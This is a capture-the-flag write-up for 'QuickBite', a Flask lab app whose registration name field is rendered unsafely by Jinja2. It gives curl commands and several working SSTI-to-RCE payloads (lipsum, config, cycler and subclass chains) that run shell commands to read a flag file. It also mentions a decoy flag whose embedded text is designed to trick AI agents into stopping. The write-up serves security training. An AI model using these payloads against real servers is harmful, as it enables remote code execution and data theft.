QuickBite — SSTI via Registration Name Field
QuickBite — SSTI via Registration Name Field
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, rce_via_lipsum_globals_os_popen, render_template_string_abuse, ssti_jinja2, user_registration_injection
Summary
Task: Flask food delivery app with user registration; first_name field passed to Jinja2 render_template_string() unsandboxed on profile welcome banner. Solution: Registered user with {{lipsum.globals['os'].popen('cat /root/flag.txt').read()}} as first_name, visited /profile to trigger SSTI→RCE.
QuickBite — SSTI via Registration Name Field — HackAdvisor
Description
QuickBite is a food delivery platform where customers can browse restaurants, place orders, and track deliveries. The platform features user registration, restaurant browsing, a shopping cart, order history, and a profile management page. Find a vulnerability that allows executing arbitrary commands on the server and retrieve the flag stored at /root/flag.txt.
A Flask/Jinja2 web application simulating a food delivery service. The registration form's first_name field is rendered unsafely via render_template_string() on the profile page's welcome banner, enabling Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE).
Analysis
Initial Reconnaissance
- The application is a Flask/Jinja2 web app (identified by session cookie format, nginx server, Jinja2 templating patterns)
- Key endpoints:
/,/register,/login,/profile,/restaurants,/orders,/cart - Registration form at
/registeraccepts:first_name,last_name,email,phone,address,password,confirm_password - Decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}is embedded in HTML comments and hidden divs on every page, with social engineering text designed to trick AI agents and automated scanners into stopping. This is a honeypot — NOT the real flag.
SSTI Discovery
Registered a new user with {{7*7}} as the first_name field:
bash read-only • copy allowedcurl -sv -c cookies.txt -X POST "$URL/register" \ -d "first_name={{7*7}}&last_name=TestUser&email=ssti1@test.com&phone=1234567890&address=123+Main+St&password=password123&confirm_password=password123"
On the profile page, the welcome banner rendered:
html read-only • copy allowed<div class="welcome-banner"><h2>Welcome back, 49!</h2>
The {{7*7}} was evaluated to 49, confirming Jinja2 SSTI.
Critical observation: The user's name appears in multiple locations on the profile page (navbar dropdown, profile card, account details form), but only the welcome banner renders the template expression. All other locations show the raw {{7*7}} escaped as HTML entities ({{7*7}}). This means only the welcome banner uses render_template_string() or equivalent unsafe rendering — the rest use standard Jinja2 auto-escaping.
Root Cause
The application passes the user's first_name directly into Jinja2's render_template_string() when constructing the welcome banner on /profile. The standard Environment is used instead of SandboxedEnvironment, giving templates full access to Python's object hierarchy. Combined with the app running as root, SSTI immediately escalates to full system compromise.
Solution
Step 1 — Confirm SSTI
Register a test user with {{7*7}} as first name and verify 49 appears in the welcome banner on /profile.
Step 2 — Exploit via lipsum globals
Register a new user with the RCE payload in first_name:
bash read-only • copy allowedcurl -sv -c cookies2.txt -X POST "$URL/register" \ --data-urlencode 'first_name={{lipsum.__globals__["os"].popen("cat /root/flag.txt").read()}}' \ -d "last_name=Exploit&email=ssti2@test.com&phone=1234567890&address=123+Main+St&password=password123&confirm_password=password123"
The payload {{lipsum.__globals__["os"].popen("cat /root/flag.txt").read()}} works because:
lipsumis a built-in Jinja2 global (the Lorem Ipsum generator function)lipsum.__globals__exposes the Python global namespace of the module wherelipsumis defined"os"is available in those globals because Jinja2's internals import itos.popen()executes a shell command and.read()captures the output
Step 3 — Read the flag
Visit /profile after registration. The welcome banner renders:
Welcome back, FLAG{REDACTED}
Alternative payloads that would also work:
python read-only • copy allowed# Via __subclasses__ chain {{''.__class__.__mro__[1].__subclasses__()[X]('cat /root/flag.txt',shell=True,stdout=-1).communicate()[0]}} # Via config/request objects {{config.__class__.__init__.__globals__['os'].popen('cat /root/flag.txt').read()}} # Via cycler (another Jinja2 built-in) {{cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read()}}